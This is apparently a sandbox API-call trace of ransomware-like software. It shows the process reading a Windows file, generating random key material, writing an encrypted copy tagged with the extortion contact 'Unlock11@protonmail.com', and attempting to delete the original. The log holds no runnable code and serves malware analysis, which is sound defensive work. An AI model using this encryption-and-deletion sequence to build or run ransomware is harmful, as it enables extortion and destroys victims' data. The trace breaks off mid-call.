0x0 [0121.042] GetCurrentThreadId () returned 0x9b0 [0121.042] GetLastError () returned 0x0 [0121.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0121.043] GetLastError () returned 0x0 [0121.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33057f8 | out: hHeap=0x2ad0000) returned 1 [0121.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305910 | out: hHeap=0x2ad0000) returned 1 [0121.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cef8 | out: hHeap=0x2ad0000) returned 1 [0121.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0121.043] GetLastError () returned 0x0 [0121.043] GetLastError () returned 0x0 [0121.043] GetLastError () returned 0x0 [0121.043] GetCurrentThreadId () returned 0x9b0 [0121.043] GetLastError () returned 0x0 [0121.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.043] GetLastError () returned 0x0 [0121.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305a28 | out: hHeap=0x2ad0000) returned 1 [0121.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305d70 | out: hHeap=0x2ad0000) returned 1 [0121.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc28 | out: hHeap=0x2ad0000) returned 1 [0121.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ea0 | out: hHeap=0x2ad0000) returned 1 [0121.044] GetLastError () returned 0x0 [0121.044] GetLastError () returned 0x0 [0121.044] GetLastError () returned 0x0 [0121.044] GetCurrentThreadId () returned 0x9b0 [0121.044] GetLastError () returned 0x0 [0121.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.044] GetLastError () returned 0x0 [0121.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf7b8 | out: hHeap=0x2ad0000) returned 1 [0121.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfd30 | out: hHeap=0x2ad0000) returned 1 [0121.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cea8 | out: hHeap=0x2ad0000) returned 1 [0121.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ca0 | out: hHeap=0x2ad0000) returned 1 [0121.045] GetLastError () returned 0x0 [0121.045] GetLastError () returned 0x0 [0121.045] GetLastError () returned 0x0 [0121.045] GetCurrentThreadId () returned 0x9b0 [0121.045] GetLastError () returned 0x0 [0121.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0121.045] GetLastError () returned 0x0 [0121.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfe48 | out: hHeap=0x2ad0000) returned 1 [0121.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d02a8 | out: hHeap=0x2ad0000) returned 1 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d010 | out: hHeap=0x2ad0000) returned 1 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183fc0 | out: hHeap=0x2ad0000) returned 1 [0121.046] GetLastError () returned 0x0 [0121.046] GetLastError () returned 0x0 [0121.046] GetLastError () returned 0x0 [0121.046] GetCurrentThreadId () returned 0x9b0 [0121.046] GetLastError () returned 0x0 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0121.046] GetLastError () returned 0x0 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d03c0 | out: hHeap=0x2ad0000) returned 1 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d04d8 | out: hHeap=0x2ad0000) returned 1 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce58 | out: hHeap=0x2ad0000) returned 1 [0121.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ce0 | out: hHeap=0x2ad0000) returned 1 [0121.047] GetLastError () returned 0x0 [0121.047] GetLastError () returned 0x0 [0121.047] GetLastError () returned 0x0 [0121.047] GetCurrentThreadId () returned 0x9b0 [0121.047] GetLastError () returned 0x0 [0121.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c98 | out: hHeap=0x2ad0000) returned 1 [0121.047] GetLastError () returned 0x0 [0121.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d05f0 | out: hHeap=0x2ad0000) returned 1 [0121.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0c80 | out: hHeap=0x2ad0000) returned 1 [0121.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc50 | out: hHeap=0x2ad0000) returned 1 [0121.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183f60 | out: hHeap=0x2ad0000) returned 1 [0121.047] GetLastError () returned 0x0 [0121.048] GetLastError () returned 0x0 [0121.048] GetLastError () returned 0x0 [0121.048] GetCurrentThreadId () returned 0x9b0 [0121.048] GetLastError () returned 0x0 [0121.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0121.048] GetCurrentThreadId () returned 0x9b0 [0121.048] GetLastError () returned 0x0 [0121.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0078 | out: hHeap=0x2ad0000) returned 1 [0121.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfb00 | out: hHeap=0x2ad0000) returned 1 [0121.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccc8 | out: hHeap=0x2ad0000) returned 1 [0121.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ee0 | out: hHeap=0x2ad0000) returned 1 [0121.049] GetLastError () returned 0x0 [0121.049] GetLastError () returned 0x0 [0121.049] GetLastError () returned 0x0 [0121.049] GetCurrentThreadId () returned 0x9b0 [0121.049] GetLastError () returned 0x0 [0121.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ca8 | out: hHeap=0x2ad0000) returned 1 [0121.049] GetLastError () returned 0x0 [0121.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0938 | out: hHeap=0x2ad0000) returned 1 [0121.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf588 | out: hHeap=0x2ad0000) returned 1 [0121.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf48 | out: hHeap=0x2ad0000) returned 1 [0121.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183fe0 | out: hHeap=0x2ad0000) returned 1 [0121.049] GetLastError () returned 0x0 [0121.050] GetLastError () returned 0x0 [0121.050] GetLastError () returned 0x0 [0121.050] GetCurrentThreadId () returned 0x9b0 [0121.050] GetLastError () returned 0x0 [0121.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d58 | out: hHeap=0x2ad0000) returned 1 [0121.050] GetLastError () returned 0x0 [0121.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf8d0 | out: hHeap=0x2ad0000) returned 1 [0121.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfc18 | out: hHeap=0x2ad0000) returned 1 [0121.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd40 | out: hHeap=0x2ad0000) returned 1 [0121.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183d00 | out: hHeap=0x2ad0000) returned 1 [0121.050] GetLastError () returned 0x0 [0121.050] GetLastError () returned 0x0 [0121.050] GetLastError () returned 0x0 [0121.051] GetCurrentThreadId () returned 0x9b0 [0121.051] GetLastError () returned 0x0 [0121.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cf8 | out: hHeap=0x2ad0000) returned 1 [0121.051] GetLastError () returned 0x0 [0121.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf6a0 | out: hHeap=0x2ad0000) returned 1 [0121.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf9e8 | out: hHeap=0x2ad0000) returned 1 [0121.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0121.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e40 | out: hHeap=0x2ad0000) returned 1 [0121.051] GetLastError () returned 0x0 [0121.051] GetLastError () returned 0x0 [0121.051] GetLastError () returned 0x0 [0121.051] GetCurrentThreadId () returned 0x9b0 [0121.051] GetLastError () returned 0x0 [0121.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ce8 | out: hHeap=0x2ad0000) returned 1 [0121.052] GetLastError () returned 0x0 [0121.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf470 | out: hHeap=0x2ad0000) returned 1 [0121.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0708 | out: hHeap=0x2ad0000) returned 1 [0121.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc78 | out: hHeap=0x2ad0000) returned 1 [0121.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183f00 | out: hHeap=0x2ad0000) returned 1 [0121.052] GetLastError () returned 0x0 [0121.052] GetLastError () returned 0x0 [0121.052] GetLastError () returned 0x0 [0121.052] GetCurrentThreadId () returned 0x9b0 [0121.052] GetLastError () returned 0x0 [0121.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0121.053] GetLastError () returned 0x0 [0121.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cff60 | out: hHeap=0x2ad0000) returned 1 [0121.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0190 | out: hHeap=0x2ad0000) returned 1 [0121.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0121.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183cc0 | out: hHeap=0x2ad0000) returned 1 [0121.053] GetLastError () returned 0x0 [0121.053] GetLastError () returned 0x0 [0121.053] GetLastError () returned 0x0 [0121.053] GetCurrentThreadId () returned 0x9b0 [0121.053] GetLastError () returned 0x0 [0121.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0121.054] GetLastError () returned 0x0 [0121.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0820 | out: hHeap=0x2ad0000) returned 1 [0121.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0a50 | out: hHeap=0x2ad0000) returned 1 [0121.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0121.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183de0 | out: hHeap=0x2ad0000) returned 1 [0121.054] GetCurrentThreadId () returned 0x9b0 [0121.054] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d38 | out: hHeap=0x2ad0000) returned 1 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.055] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.056] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.057] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b88 | out: hHeap=0x2ad0000) returned 1 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.058] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.059] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.060] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] GetCurrentThreadId () returned 0x9b0 [0121.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.062] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] GetCurrentThreadId () returned 0x9b0 [0121.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea340 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aae8 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.064] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62)) returned 1 [0121.064] GetCurrentThreadId () returned 0x9b0 [0121.065] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0121.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0121.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0121.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0121.065] GetCurrentThreadId () returned 0x9b0 [0121.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea250 [0121.065] GetCurrentThreadId () returned 0x9b0 [0121.065] GetCurrentThreadId () returned 0x9b0 [0121.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.065] GetCurrentThreadId () returned 0x9b0 [0121.066] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.066] GetFileType (hFile=0x39c) returned 0x1 [0121.066] GetCurrentThreadId () returned 0x9b0 [0121.066] GetFileType (hFile=0x39c) returned 0x1 [0121.066] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.066] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.066] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.066] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.066] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.066] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.067] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.067] GetLastError () returned 0x0 [0121.067] GetCurrentThreadId () returned 0x9b0 [0121.067] GetLastError () returned 0x0 [0121.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0121.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0121.067] GetLastError () returned 0x0 [0121.067] GetLastError () returned 0x0 [0121.067] GetLastError () returned 0x0 [0121.067] GetLastError () returned 0x0 [0121.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0121.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.067] GetLastError () returned 0x0 [0121.068] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.069] GetFileType (hFile=0x3ac) returned 0x1 [0121.069] GetLastError () returned 0x0 [0121.069] GetCurrentThreadId () returned 0x9b0 [0121.069] GetLastError () returned 0x0 [0121.069] GetFileType (hFile=0x3ac) returned 0x1 [0121.069] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.069] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.069] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.069] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.069] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.070] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.070] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.070] GetLastError () returned 0x0 [0121.070] GetCurrentThreadId () returned 0x9b0 [0121.070] GetLastError () returned 0x0 [0121.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0121.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.070] GetLastError () returned 0x0 [0121.070] GetLastError () returned 0x0 [0121.070] GetCurrentThreadId () returned 0x9b0 [0121.071] GetLastError () returned 0x0 [0121.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.071] GetLastError () returned 0x0 [0121.071] GetLastError () returned 0x0 [0121.071] GetCurrentThreadId () returned 0x9b0 [0121.071] GetLastError () returned 0x0 [0121.071] GetLastError () returned 0x0 [0121.073] GetLastError () returned 0x0 [0121.073] GetCurrentThreadId () returned 0x9b0 [0121.073] GetLastError () returned 0x0 [0121.073] GetCurrentThreadId () returned 0x9b0 [0121.073] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xa85) returned 0x36f8548 [0121.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de558 [0121.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa88) returned 0x382cb08 [0121.073] GetLastError () returned 0x0 [0121.073] GetLastError () returned 0x0 [0121.074] GetLastError () returned 0x0 [0121.074] GetLastError () returned 0x0 [0121.074] GetCurrentThreadId () returned 0x9b0 [0121.074] GetLastError () returned 0x0 [0121.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.074] GetLastError () returned 0x0 [0121.074] GetLastError () returned 0x0 [0121.074] GetCurrentThreadId () returned 0x9b0 [0121.074] GetLastError () returned 0x0 [0121.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b99e0 | out: hHeap=0x2ad0000) returned 1 [0121.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8fd8 [0121.075] GetLastError () returned 0x0 [0121.075] GetLastError () returned 0x0 [0121.075] GetCurrentThreadId () returned 0x9b0 [0121.075] GetLastError () returned 0x0 [0121.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8fd8 | out: hHeap=0x2ad0000) returned 1 [0121.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.075] GetCurrentThreadId () returned 0x9b0 [0121.075] GetLastError () returned 0x0 [0121.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.076] CloseHandle (hObject=0x3ac) returned 1 [0121.077] GetLastError () returned 0x0 [0121.077] GetCurrentThreadId () returned 0x9b0 [0121.077] GetLastError () returned 0x0 [0121.077] GetLastError () returned 0x0 [0121.077] CloseHandle (hObject=0x39c) returned 1 [0121.077] GetLastError () returned 0x0 [0121.077] GetCurrentThreadId () returned 0x9b0 [0121.077] GetLastError () returned 0x0 [0121.077] GetLastError () returned 0x0 [0121.078] GetLastError () returned 0x0 [0121.078] GetLastError () returned 0x0 [0121.078] GetLastError () returned 0x0 [0121.078] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0 [0121.078] GetLastError () returned 0x5 [0121.078] GetCurrentThreadId () returned 0x9b0 [0121.078] GetLastError () returned 0x5 [0121.078] GetLastError () returned 0x5 [0121.078] GetLastError () returned 0x5 [0121.079] GetLastError () returned 0x5 [0121.079] LocalFree (hMem=0x1053a70) returned 0x0 [0121.079] GetLastError () returned 0x5 [0121.079] GetLastError () returned 0x5 [0121.079] GetLastError () returned 0x5 [0121.079] GetLastError () returned 0x5 [0121.079] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", lpFilePart=0x9bada4*="ipsfra.xml") returned 0x3d [0121.079] GetCurrentThreadId () returned 0x9b0 [0121.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 